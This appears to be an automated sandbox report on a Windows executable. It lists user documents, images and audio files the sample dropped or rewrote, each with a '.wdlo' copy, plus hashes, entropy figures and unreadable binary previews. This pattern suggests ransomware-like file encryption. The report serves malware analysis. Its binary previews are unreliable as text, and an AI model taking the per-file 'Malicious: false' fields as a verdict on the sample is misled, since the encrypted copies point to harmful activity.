Preview:	LSBIH4!.b{..^w....#.{..W...tZ.....E....7.B4...;Gc...M...._2.%.....\|.>.....x...'....sBw.\.f.b.......G.g.M.. .Z........<w....y..w..5.u..I..72...n....G...6..Q.p_..-....q.!D.+....3...v.b.2.!.7.Sh`.q......-...4.:[H.3o.$.50...Y...#!.....}.U..].Z.....I.a...wc.bnLsQ....`..#f,"O(..o.0.[..gN`....h<.<W....7....y........p$...;#C...)..{QK..U...`[...,....x.b..<W.#..xr.....H-'e........{.9.bf..s.y..tC.T..B..`...Pqf. =.S..Fm..(u.....w+....v?..7..~..U.M0.N...D...4.b..r..p.^......;....b...O.-~L..M....1...._.......g..`.)....U..b..RI..W#l..9$O....l..{.....8..v..(.7pH(..#."......F.]I$...U.........w.\...].p4V.......H#.-..L.j...\.i...kA#.P.Q.&.-&e.j.(A.;[I~.WBm.)....;S.`......p.i...n.sg</.M.K......z.7..cJ.f.]....J.z/R..d.._4r..>....].9..V.y.E.=..x.z\.h..7........\..n..k..~.4......#..#..E.MF^1..:n.."1..E...jT+.d.f.m.......;l.4.*........\|.O........r.K.<3(.LS..\|.\|D....(9[1,....a.....P...........P.X...+.ng...d.8t.#bt.R.Nt...u....&.5+zWu.....\|...

C:\Users\user\Desktop\SFPUSAFIOL\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867504850781054
Encrypted:	false
SSDEEP:	24:tmrInfOX15KTXHVEoIDmhUcq2vxDWtFNiYfE84sfhJL43337vFPw63tpEn43zbD:wKf4KEvqhPNqFNiYft4sLLi9RtpE43nD
MD5:	0C5ADA26257C53D4B964E9469BE8B4AD
SHA1:	F04FBE830F1A1E5BADF6B2703E5184D57C78B416
SHA-256:	929161AFCA999ACF0E52E017CF91BE681B1CA2078A6EABE25941D58B16E17FDE
SHA-512:	5A07ACA2FF5282DFB769764A8CF1AAF45940E784EA03A6DB25D5F08BB8252EB5109C79BCE936D2AC8068A4A250EAC90B0DC0D09BA87F15F4F60B37E4182E5FB0
Malicious:	false
Preview:	NEBFQ..t....&.U./9..p..#......U..@.V...q../$.....K.4..Z.\....q%.[C...T..0I.%....K....C.........)..]../TG..d....vw...(}.4.5...y....XqYn.aW.....p.o0...M9.....(.'..."."....o...<i.O...R.[M..\|;....p.w.9?....C.>.?..m..U...6.N.y~.`..>.)[.D...?df.Z..7w.#.K.Y-....X....r....za<0...8E.G..$TeKo.1....m."....>5....D.$Cj.de.%.&."^"..l.r.B1.#.N.....8a.7Wa..g....T..@..Q...................OC"e.=..\|D..m$.....P....Vk.q.m.E.R.y.."\..?.U.g48g......5].kn.YT........yq...rJM...i.:.VoMHn...UD.?{T&q..'+ry..A........q.......q.....M...........=>...E.c..I...x...c..KT.....g..<..n..\|.f.y.=..aK...n!.T,......(5.....BD....7....G. ..g.....j.PN'..7@.RQ-....".%xP....r...c......u}.sj.....^2.@......~8............G~.R.....H.....R..>...._......."..8[19@yQ...>..FGkP.8.@\|:...S.I.M......_R!...aKZ.\E.[......d.A6...LP.4i.D5.H.{.....2...t H....u.?6G...........T.4..Yo...._.Y..T........-ql.M>.....IX6A.#9u........u.T,m...`{.#..dB....]..,...${.+..._r....x......$X.m.S.x.7....CG.

C:\Users\user\Desktop\SFPUSAFIOL\NEBFQQYWPS.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867504850781054
Encrypted:	false
SSDEEP:	24:tmrInfOX15KTXHVEoIDmhUcq2vxDWtFNiYfE84sfhJL43337vFPw63tpEn43zbD:wKf4KEvqhPNqFNiYft4sLLi9RtpE43nD
MD5:	0C5ADA26257C53D4B964E9469BE8B4AD
SHA1:	F04FBE830F1A1E5BADF6B2703E5184D57C78B416
SHA-256:	929161AFCA999ACF0E52E017CF91BE681B1CA2078A6EABE25941D58B16E17FDE
SHA-512:	5A07ACA2FF5282DFB769764A8CF1AAF45940E784EA03A6DB25D5F08BB8252EB5109C79BCE936D2AC8068A4A250EAC90B0DC0D09BA87F15F4F60B37E4182E5FB0
Malicious:	false
Preview:	NEBFQ..t....&.U./9..p..#......U..@.V...q../$.....K.4..Z.\....q%.[C...T..0I.%....K....C.........)..]../TG..d....vw...(}.4.5...y....XqYn.aW.....p.o0...M9.....(.'..."."....o...<i.O...R.[M..\|;....p.w.9?....C.>.?..m..U...6.N.y~.`..>.)[.D...?df.Z..7w.#.K.Y-....X....r....za<0...8E.G..$TeKo.1....m."....>5....D.$Cj.de.%.&."^"..l.r.B1.#.N.....8a.7Wa..g....T..@..Q...................OC"e.=..\|D..m$.....P....Vk.q.m.E.R.y.."\..?.U.g48g......5].kn.YT........yq...rJM...i.:.VoMHn...UD.?{T&q..'+ry..A........q.......q.....M...........=>...E.c..I...x...c..KT.....g..<..n..\|.f.y.=..aK...n!.T,......(5.....BD....7....G. ..g.....j.PN'..7@.RQ-....".%xP....r...c......u}.sj.....^2.@......~8............G~.R.....H.....R..>...._......."..8[19@yQ...>..FGkP.8.@\|:...S.I.M......_R!...aKZ.\E.[......d.A6...LP.4i.D5.H.{.....2...t H....u.?6G...........T.4..Yo...._.Y..T........-ql.M>.....IX6A.#9u........u.T,m...`{.#..dB....]..,...${.+..._r....x......$X.m.S.x.7....CG.

C:\Users\user\Desktop\SFPUSAFIOL\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844533619751056
Encrypted:	false
SSDEEP:	24:Ostw9j4vLcZQH+9qey7Z6Z4sqt1h9sVvcWLkdh8tlynMDCDYVGTwa2ujB3zbD:bbvLqG+980Z431h9tWLkdhalyMmwa2uB
MD5:	9E6E29ADEFDFD32420071239059BD696
SHA1:	8D9EA9A2E3D6321074237383F65D58A1CBB93989
SHA-256:	0EA20308C257001586C3A3B74237194674D6D3C6E143D562E23EB5E35BCF14E0
SHA-512:	4BD15D512BADB858866576EC57DBAB0BED49A49C9731403B272BBAB75D4AED151C70EE375DEDD8F115DE23FD1A1BF08897DF9948F2D31887C218488BC26121BA
Malicious:	false
Preview:	SFPUS...F....7t.x...._.2....X..[.....#_i.....aI.D.2.....B7......}E~...&..M.[.+.v...k...@z....,[.6....g.Uz....H.N`&.z2.....w.f...tb.:..R.B...^...q.<Bh.....$.FP.mu..'....q.:.(...{g...~..l%I..bR.1..6.cuu....g...a.B..PU.].x.>$....t.Y......5..B.1Z/5).....<+..v...).H."...4f....2..q.....u5....[U$.d....!L,.0.....MA..a~.a.ma.P..+..j.U=...8%D.-C..>zW.\.kDi....f..k....'..G.ZZ..Y.qj&..........YBv.K..)....J..K..~.>m....O..O.R...!.d7.:Ba...3....?.".ix%tJ....6...b..K..Q.jB.:.....1.;Er...c\.j.5.F7....$F..X...s........:2.C.t...=..:.i..........,.w;C.....N...!.G......XnO..K.l...U.....+.$..f..Lb1...m/...'.\gO.;K..7...P.l....:..f^.W...?......l.N.Zl..[....w..&+..D.[.........ee.j..#.\yDd..U./..VE.?p...... ..1.[+J.b...)v.....%^V.....LS........}Q.y....b.#r.7.f..%%...W.P.7%0v></.v.2...Z........$n.]......K`H.$6...a8..A..qt..c.....p.{.J0.....K.k........$../4wZQ.......x...d=..D....a?....+.m.&7......'q....i.+..79.TS...0.,..S.)...n.[>...yx.Iw..(h..rs._,.

C:\Users\user\Desktop\SFPUSAFIOL\SFPUSAFIOL.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844533619751056
Encrypted:	false
SSDEEP:	24:Ostw9j4vLcZQH+9qey7Z6Z4sqt1h9sVvcWLkdh8tlynMDCDYVGTwa2ujB3zbD:bbvLqG+980Z431h9tWLkdhalyMmwa2uB
MD5:	9E6E29ADEFDFD32420071239059BD696
SHA1:	8D9EA9A2E3D6321074237383F65D58A1CBB93989
SHA-256:	0EA20308C257001586C3A3B74237194674D6D3C6E143D562E23EB5E35BCF14E0
SHA-512:	4BD15D512BADB858866576EC57DBAB0BED49A49C9731403B272BBAB75D4AED151C70EE375DEDD8F115DE23FD1A1BF08897DF9948F2D31887C218488BC26121BA
Malicious:	false
Preview:	SFPUS...F....7t.x...._.2....X..[.....#_i.....aI.D.2.....B7......}E~...&..M.[.+.v...k...@z....,[.6....g.Uz....H.N`&.z2.....w.f...tb.:..R.B...^...q.<Bh.....$.FP.mu..'....q.:.(...{g...~..l%I..bR.1..6.cuu....g...a.B..PU.].x.>$....t.Y......5..B.1Z/5).....<+..v...).H."...4f....2..q.....u5....[U$.d....!L,.0.....MA..a~.a.ma.P..+..j.U=...8%D.-C..>zW.\.kDi....f..k....'..G.ZZ..Y.qj&..........YBv.K..)....J..K..~.>m....O..O.R...!.d7.:Ba...3....?.".ix%tJ....6...b..K..Q.jB.:.....1.;Er...c\.j.5.F7....$F..X...s........:2.C.t...=..:.i..........,.w;C.....N...!.G......XnO..K.l...U.....+.$..f..Lb1...m/...'.\gO.;K..7...P.l....:..f^.W...?......l.N.Zl..[....w..&+..D.[.........ee.j..#.\yDd..U./..VE.?p...... ..1.[+J.b...)v.....%^V.....LS........}Q.y....b.#r.7.f..%%...W.P.7%0v></.v.2...Z........$n.]......K`H.$6...a8..A..qt..c.....p.{.J0.....K.k........$../4wZQ.......x...d=..D....a?....+.m.&7......'q....i.+..79.TS...0.,..S.)...n.[>...yx.Iw..(h..rs._,.

C:\Users\user\Desktop\SFPUSAFIOL\ZQIXMVQGAH.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8506906527632605
Encrypted:	false
SSDEEP:	24:Y8u8ado9HbjhA+eUWU3/+ZKgXakPiHqYXFxd4BVIKyIdg7U5Iu4s+o6sMpKDAA3D:Y78ado9XhA+eXU3OKgXaka7bdIIzGI6t
MD5:	9B8232FC2E0D55B0E464C88802B2D586
SHA1:	44139F9A3C3B3C00C3A6B74058F0907208B377B0
SHA-256:	13D248D51D06BD2365A0247F4D0A95E2794188E7E28407611A1D84EA09B22F1F
SHA-512:	56F2A20B1565957E0320AE7281755818F4E1555752C380B1B0659ED11477A66FDF68B954F19D95F2EAC295A8E38FD2CFB45A62E68399689FBEB08196C39EDF62
Malicious:	false
Preview:	ZQIXM$....U`..v.F.....~.w.GQl...`A.b.\.I2'.(W..u..M...t....._.-..y%.$.G.(<..d....d..T.m.[.+...g........}.....k.8.[...X..~P.c5^....0i..d.4..\|Y..c.}.g H..UkI...f..!.....ViW......AZ......I.......W..M5...N}KpL. _[.M.;f...G...JK+M....uF./.JwWM.9.gZ..kO..a..H+.^a8.4]........`..n;..h..v.r.!<......n.9~.<...k..E.Yjkd(........5..r..7...+.....G.V.............Y...l......Q(..0.M.$~.8.....J}.e....w...m..2?K..$..P.\|dX...N..?.....6..w....X,...B..CS^.e...?]/.f7...V.1`.s,K...._gwj..o.L^.-...E/..Ku..t).....,L..W}I..z.M.%-1@..~g..%.....;..HC.........W.......&.Q?....Y...I...e.. F.5.n..."....z.&.X2q&v..C4[-yxt....;.8...\|.]..V...gaE..C{d\Sm..v.C.(.Z..@0...e.)......@..lF.....+..<......^....G.]3...o.\.BP...Hk2..Mc.......5`..w.U...=..\|.&.5....$/.U..p..}.....h..VTs.ZX.;H...@C..@.J..yU....T..4...e.i.......LM....S..&iv...U......lj&X.8DlE.KE..3Y.U......)....;.2....y. .....X.z...E...N.'.7...a.n..1...*[.e d..]...<..S}..,.t./bf..kt.. ....xY..u......I!`.`n(-\......5....

C:\Users\user\Desktop\SFPUSAFIOL\ZQIXMVQGAH.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8506906527632605
Encrypted:	false
SSDEEP:	24:Y8u8ado9HbjhA+eUWU3/+ZKgXakPiHqYXFxd4BVIKyIdg7U5Iu4s+o6sMpKDAA3D:Y78ado9XhA+eXU3OKgXaka7bdIIzGI6t
MD5:	9B8232FC2E0D55B0E464C88802B2D586
SHA1:	44139F9A3C3B3C00C3A6B74058F0907208B377B0
SHA-256:	13D248D51D06BD2365A0247F4D0A95E2794188E7E28407611A1D84EA09B22F1F
SHA-512:	56F2A20B1565957E0320AE7281755818F4E1555752C380B1B0659ED11477A66FDF68B954F19D95F2EAC295A8E38FD2CFB45A62E68399689FBEB08196C39EDF62
Malicious:	false
Preview:	ZQIXM$....U`..v.F.....~.w.GQl...`A.b.\.I2'.(W..u..M...t....._.-..y%.$.G.(<..d....d..T.m.[.+...g........}.....k.8.[...X..~P.c5^....0i..d.4..\|Y..c.}.g H..UkI...f..!.....ViW......AZ......I.......W..M5...N}KpL. _[.M.;f...G...JK+M....uF./.JwWM.9.gZ..kO..a..H+.^a8.4]........`..n;..h..v.r.!<......n.9~.<...k..E.Yjkd(........5..r..7...+.....G.V.............Y...l......Q(..0.M.$~.8.....J}.e....w...m..2?K..$..P.\|dX...N..?.....6..w....X,...B..CS^.e...?]/.f7...V.1`.s,K...._gwj..o.L^.-...E/..Ku..t).....,L..W}I..z.M.%-1@..~g..%.....;..HC.........W.......&.Q?....Y...I...e.. F.5.n..."....z.&.X2q&v..C4[-yxt....;.8...\|.]..V...gaE..C{d\Sm..v.C.(.Z..@0...e.)......@..lF.....+..<......^....G.]3...o.\.BP...Hk2..Mc.......5`..w.U...=..\|.&.5....$/.U..p..}.....h..VTs.ZX.;H...@C..@.J..yU....T..4...e.i.......LM....S..&iv...U......lj&X.8DlE.KE..3Y.U......)....;.2....y. .....X.z...E...N.'.7...a.n..1...*[.e d..]...<..S}..,.t./bf..kt.. ....xY..u......I!`.`n(-\......5....

C:\Users\user\Desktop\SUAVTZKNFL.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854870521640259
Encrypted:	false
SSDEEP:	24:+nZeBHqIVIKo1flPm2CW/DISz57VmYttnXDJFW69cGuRCLpn3zbD:yZeBHqIVI5f1m0/lz5xmYttnlodbER3D
MD5:	D17744FEE77CC0ADDE135C2170DEC039
SHA1:	FB1D5D3F5C82E7D0FE50B030520820DC00279132
SHA-256:	565E20AE205BF869EE9B43524EBDBB4511A0CAD46C452DD13CDFF5ED2C1F3FB9
SHA-512:	D21823F1E5EF2E8293963C7FF96976CA44BE5D662C6993FBADCBB72CEFB9163F77D881FAE1D20CE7C92D96A7CA0EC7933C51CE9F3F4577CA9FE6E673E9F8B810
Malicious:	false
Preview:	SUAVT/.,...qO....z.{..I.A..P...x......R.e.4BE.n..(~....e..]..j5.+?e._.$.I...CK.n.g[....e?.t......r.././.h4...v.p.h$4Q..AD...Gtzj..6<......'f^z.'O.>.+.3.}.....7...P.g;..5YJQ..vC..(.\E....p.jk.Uvc.....4.[`...0....n.;T.......+......9I<....6.I..i..ua?.8...n..Z\........H.&..2.....$ qb.KY..YP.._......#.c.M.7../.`...../..;....2J.C.W.....j...H`..r.......`.^....A..A$.m]1.\|.P...'.wI..a..~...y./b..)I.......V......L.c>3.1..v...m.).u.H~..w..0.%'.yv$.......T...So/....IF..>.(= ;..........MgR.\..S..n...&~.........(.$...8z..)ir........7.......=..YXG.....r..o.Hd.0.x.gb\|.Z.z..5........o...`..],./.b.q5..,c...."....#.............Y.F... ....e.2L...\|.3...?q...x$M$.s.#..\..?On...].M,.'.9.......H.H ....x..3.dW...\|,.r....R..6'.......X.......@04.>.XN.k..-.&.n.;{.:@d.Y.t.1.*bM.C.B3Zg.....TD.....4...TQ..6.[..-b....;....\N.]...v.......< .......r...[6....{......?........O....B.._9k93.Id.?1.....Z.o`..g{...n.R...y.S.{..w.h.e8C...m>..<..DU.N.}.V.i.m+4..2..

C:\Users\user\Desktop\SUAVTZKNFL.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854870521640259
Encrypted:	false
SSDEEP:	24:+nZeBHqIVIKo1flPm2CW/DISz57VmYttnXDJFW69cGuRCLpn3zbD:yZeBHqIVI5f1m0/lz5xmYttnlodbER3D
MD5:	D17744FEE77CC0ADDE135C2170DEC039
SHA1:	FB1D5D3F5C82E7D0FE50B030520820DC00279132
SHA-256:	565E20AE205BF869EE9B43524EBDBB4511A0CAD46C452DD13CDFF5ED2C1F3FB9
SHA-512:	D21823F1E5EF2E8293963C7FF96976CA44BE5D662C6993FBADCBB72CEFB9163F77D881FAE1D20CE7C92D96A7CA0EC7933C51CE9F3F4577CA9FE6E673E9F8B810
Malicious:	false
Preview:	SUAVT/.,...qO....z.{..I.A..P...x......R.e.4BE.n..(~....e..]..j5.+?e._.$.I...CK.n.g[....e?.t......r.././.h4...v.p.h$4Q..AD...Gtzj..6<......'f^z.'O.>.+.3.}.....7...P.g;..5YJQ..vC..(.\E....p.jk.Uvc.....4.[`...0....n.;T.......+......9I<....6.I..i..ua?.8...n..Z\........H.&..2.....$ qb.KY..YP.._......#.c.M.7../.`...../..;....2J.C.W.....j...H`..r.......`.^....A..A$.m]1.\|.P...'.wI..a..~...y./b..)I.......V......L.c>3.1..v...m.).u.H~..w..0.%'.yv$.......T...So/....IF..>.(= ;..........MgR.\..S..n...&~.........(.$...8z..)ir........7.......=..YXG.....r..o.Hd.0.x.gb\|.Z.z..5........o...`..],./.b.q5..,c...."....#.............Y.F... ....e.2L...\|.3...?q...x$M$.s.#..\..?On...].M,.'.9.......H.H ....x..3.dW...\|,.r....R..6'.......X.......@04.>.XN.k..-.&.n.;{.:@d.Y.t.1.*bM.C.B3Zg.....TD.....4...TQ..6.[..-b....;....\N.]...v.......< .......r...[6....{......?........O....B.._9k93.Id.?1.....Z.o`..g{...n.R...y.S.{..w.h.e8C...m>..<..DU.N.}.V.i.m+4..2..

C:\Users\user\Desktop\ZQIXMVQGAH.png

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84925229672756
Encrypted:	false
SSDEEP:	24:2SgDOALADlKZUM0fPirVrUcbctDcm14N0pziRz22dzeDpkbzSyU3zbD:2S5WA5ulSirZ4FKKiRzBYMM3nD
MD5:	4360982F788A9851D10BDA74E6952E02
SHA1:	7264E60DBEBC47F83ED4824E8FA38C62158D2EFC
SHA-256:	E93136E602FB852E760AFFEB4A9863C7755C5AD3DB62B9FBE53508B9646949DC
SHA-512:	45ED7BCEE6A4D151A80BF9F893565E49319F7FA09B5110454B27C6CB5C594B5262A8D689C1BECA32D86C590A67B17248ED2BF173E68F02318102D2A6B82FEE36
Malicious:	false
Preview:	ZQIXM.............%.`.?r....O.....R"]o...c.%.F.f.....[..t&]2.........,U..q.s.G2UH./...x...-...SV9``<.......v{.U0..`<......S...R#9.........].@...D...0[......Hs.....r..v.+.6.......-.....O.../..,.1.y.Y...K.........\|,.._..j$.]...O.Bc.q&...r./d....(:..sq..u.D.'...2...iQM..~X._..Q;.4..l...q.).@+w.]...1v..!L.O.S.nJ.......;..]NzA?.x....DP..g..3.:....i....(......'.T{P...NuBa..7....}.7..U.L.oMK...:..'I..E.\|3...\|...mV.~`O........z..:R4w...!...-....Ct..ke........l....rx...8...<...V2k........0BV..\|...q.{...........[...F...K.....u....nm9.. .T~[...}.......[I.iRp.~....oR..~.;.Q.~...&=K../.1..N....4s.2\HX...[....M....>S..c..4E.T.z3.9......-..>l.e....[.W..z..He..v@%..qe.[6;/..V....y.^X.53.pex\|[6.&..k.....epM..O....".".pD..P@..~-_.m.j.\.C....@X..c]..U..]y...........F...,..J\|h../H$%..../........^...A..Lu.......H@.~=.c...q..T....Pp..S..A....F.kEzB.W..F..-6.3)....==>Tq=....zX.+<o.....&M....f.x.gQ+j3...gG.].Gq...."?,J.M....jX...Z_ >....5#U .O.Q

C:\Users\user\Desktop\ZQIXMVQGAH.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84925229672756
Encrypted:	false
SSDEEP:	24:2SgDOALADlKZUM0fPirVrUcbctDcm14N0pziRz22dzeDpkbzSyU3zbD:2S5WA5ulSirZ4FKKiRzBYMM3nD
MD5:	4360982F788A9851D10BDA74E6952E02
SHA1:	7264E60DBEBC47F83ED4824E8FA38C62158D2EFC
SHA-256:	E93136E602FB852E760AFFEB4A9863C7755C5AD3DB62B9FBE53508B9646949DC
SHA-512:	45ED7BCEE6A4D151A80BF9F893565E49319F7FA09B5110454B27C6CB5C594B5262A8D689C1BECA32D86C590A67B17248ED2BF173E68F02318102D2A6B82FEE36
Malicious:	false
Preview:	ZQIXM.............%.`.?r....O.....R"]o...c.%.F.f.....[..t&]2.........,U..q.s.G2UH./...x...-...SV9``<.......v{.U0..`<......S...R#9.........].@...D...0[......Hs.....r..v.+.6.......-.....O.../..,.1.y.Y...K.........\|,.._..j$.]...O.Bc.q&...r./d....(:..sq..u.D.'...2...iQM..~X._..Q;.4..l...q.).@+w.]...1v..!L.O.S.nJ.......;..]NzA?.x....DP..g..3.:....i....(......'.T{P...NuBa..7....}.7..U.L.oMK...:..'I..E.\|3...\|...mV.~`O........z..:R4w...!...-....Ct..ke........l....rx...8...<...V2k........0BV..\|...q.{...........[...F...K.....u....nm9.. .T~[...}.......[I.iRp.~....oR..~.;.Q.~...&=K../.1..N....4s.2\HX...[....M....>S..c..4E.T.z3.9......-..>l.e....[.W..z..He..v@%..qe.[6;/..V....y.^X.53.pex\|[6.&..k.....epM..O....".".pD..P@..~-_.m.j.\.C....@X..c]..U..]y...........F...,..J\|h../H$%..../........^...A..Lu.......H@.~=.c...q..T....Pp..S..A....F.kEzB.W..F..-6.3)....==>Tq=....zX.+<o.....&M....f.x.gQ+j3...gG.].Gq...."?,J.M....jX...Z_ >....5#U .O.Q

C:\Users\user\Documents\BJZFPPWAPT.mp3

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868818276141089
Encrypted:	false
SSDEEP:	24:6N68hXK5LDdQm86xbT873PzP8JPfGvCs8x6BV7dfyy9h7QfSpZdCvSNEOu3zbD:6N6IK1Om8gU73rP2Gx8EJLE+dux3nD
MD5:	CFC6A4DBFDADACD03A34FD44BD466E17
SHA1:	EBD72D2F87C3D3E6AF017669A37C048D0DE66C8B
SHA-256:	F7E21184A0EF360CB2B3947BB1AA00122E9B353E20BD3BE2A70E6766519D48E3
SHA-512:	DA88D3920C3A2E442D7FFFD38CAE62CE5B1AC5E5F7D1231BAA9E5EE4CBED1253940EE95C70BE7FCA802EE27C73F967CDC2BD52EF5DC5D78082181C0A5EEAB19D
Malicious:	false
Preview:	BJZFP..~..w1/.)nL/.X^...T'.-........5..&..'..,.1.@.e.>.~.'.:...s..)6.].....d.p..v7...P.....7..."....bA;M.<..$+.9.{........tMJo...v\|...G.,....I}%. .u(..$ys....#.L....\.S.8.y:.>G+.....g...$...B6.....F.t......$...=.IH.wv..?..e1..S..?.$......G8...p82..^t.e....n....l.N4/t.J...Ko.$e8...+T.._ ...Y.....i.3.....y.:D..'...d..5.).....].Ky...$.......'dl..h.7..xn..."..b.H=..e. 4?{.W...N.@M.......Q.M.'.{.EQ}.Y.....%v. ..G...M..G.#s.c.$....._.{Z..?.../.2......C.x\|."....T]........\.....Oz..19....V..`4..Qf.^..`...!.E.#....x../.? Wg..>P..&.L._yk8X=.U...U..<....RJ8..a......Y.Th............]ynt....Jl{i.O<..z.@,.ev....E0.........,; ..Y.(^..)...K5.+.[._.....s.;+.L....L%.M.,..\|O.......KC...l...r.}.Q.w2+....>.?.i..]gSN...Z.E..........12N.%v.G.(@....u"..8.#.K=.&`..,Qhp..<h.v..)....G.:y..Rn>.~.\|~...5.h.y..t(Z/'.#.1..Xa&:"&......%.....r9.$..^...;h..6...tV...\|..Z.....Vu..Y}.n..^...I............M.c....q......-Y.U.=. ....`;.1}...@[J$....<Y.....\|..........V."..

C:\Users\user\Documents\BJZFPPWAPT.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.868818276141089
Encrypted:	false
SSDEEP:	24:6N68hXK5LDdQm86xbT873PzP8JPfGvCs8x6BV7dfyy9h7QfSpZdCvSNEOu3zbD:6N6IK1Om8gU73rP2Gx8EJLE+dux3nD
MD5:	CFC6A4DBFDADACD03A34FD44BD466E17
SHA1:	EBD72D2F87C3D3E6AF017669A37C048D0DE66C8B
SHA-256:	F7E21184A0EF360CB2B3947BB1AA00122E9B353E20BD3BE2A70E6766519D48E3
SHA-512:	DA88D3920C3A2E442D7FFFD38CAE62CE5B1AC5E5F7D1231BAA9E5EE4CBED1253940EE95C70BE7FCA802EE27C73F967CDC2BD52EF5DC5D78082181C0A5EEAB19D
Malicious:	false
Preview:	BJZFP..~..w1/.)nL/.X^...T'.-........5..&..'..,.1.@.e.>.~.'.:...s..)6.].....d.p..v7...P.....7..."....bA;M.<..$+.9.{........tMJo...v\|...G.,....I}%. .u(..$ys....#.L....\.S.8.y:.>G+.....g...$...B6.....F.t......$...=.IH.wv..?..e1..S..?.$......G8...p82..^t.e....n....l.N4/t.J...Ko.$e8...+T.._ ...Y.....i.3.....y.:D..'...d..5.).....].Ky...$.......'dl..h.7..xn..."..b.H=..e. 4?{.W...N.@M.......Q.M.'.{.EQ}.Y.....%v. ..G...M..G.#s.c.$....._.{Z..?.../.2......C.x\|."....T]........\.....Oz..19....V..`4..Qf.^..`...!.E.#....x../.? Wg..>P..&.L._yk8X=.U...U..<....RJ8..a......Y.Th............]ynt....Jl{i.O<..z.@,.ev....E0.........,; ..Y.(^..)...K5.+.[._.....s.;+.L....L%.M.,..\|O.......KC...l...r.}.Q.w2+....>.?.i..]gSN...Z.E..........12N.%v.G.(@....u"..8.#.K=.&`..,Qhp..<h.v..)....G.:y..Rn>.~.\|~...5.h.y..t(Z/'.#.1..Xa&:"&......%.....r9.$..^...;h..6...tV...\|..Z.....Vu..Y}.n..^...I............M.c....q......-Y.U.=. ....`;.1}...@[J$....<Y.....\|..........V."..

C:\Users\user\Documents\BNAGMGSPLO.jpg

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844559476720754
Encrypted:	false
SSDEEP:	24:u/8+GFVTkvHFbxTK6DsnUytBjUzcenTspH6oowC+6Z8Ix3g3SNwgwoPhxyUEeh3D:M8ZUFVK6DsndtBFgTsZpowzLIx3g3+zR
MD5:	042F68E8591598E7042E5AC57F84A0A1
SHA1:	D2A2B50D564A9C6ED25C785AEFEDD0CBB36121CE
SHA-256:	6D73374B32B7A549FB8C02D74EEF090AD6D02845D0AACF3D3940F50D048E5A3B
SHA-512:	94959FF307AF1E846990BEA6E1E4FEF6B17454311B0D81B7E2E6A815DDD53E5F2DC5D515952BE35879F3930D2A1A671542AA0F97D17F5726A98B9DC3379AB06E
Malicious:	false
Preview:	BNAGM.D.s...e.@FW....".2F.....J......D..M..n..4.7X_........M......7..s.].M......f....=._....RZ..q.O{.z.i;.....G..h.P.....C-.G........NW.....$.......Z./.h.....~..LU...\|.e...p.T....4..VY..d).4..m.x;n.:.8.......G.0.s-G.1......p......P....Q+.7\|...q..b......[.9m..[............n.'.'...5<\.3u.7...s...BK.0........b.:"$h.....V7..P._..#...;.yvaG..e.8..l......G......N......<.YBS.i$.E....c./....e...e^......e2T.u...v.zA2oW3..-.U.=1c..b......L..Z..,.'BF.....V...9=...0q.<<...i....^....M../.Fx/ss..m..o+....`...t&IZc0..w.?.V...\|.\........7..[`...$Q.FU.G..D?f*....x9r..'o....M5h..+.....Zx...._..B.@.,C.......t``"a.T...q...B..\..$......_.}..""i_.O..=e.;;.>..]".i..}.....n.V`pe..y...W.?......<Ct.IO....oO......H._f..,...yX.=..y.G}AQ.E7..NV0...d.b...^..7.k.qP.t.T..H..W...8JMV..r.....RB5E^.P.Ihl.F.`'[E:...Z...A.o..#..<..&..`....7......p`a..,..d.....j...........).s.q,.7..D...N-.D.....m#1..F......6..9/.b..A._..^..+.O2ZV8......,.Q.....:!W....>..w%......%&.

C:\Users\user\Documents\BNAGMGSPLO.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
File Type:	data
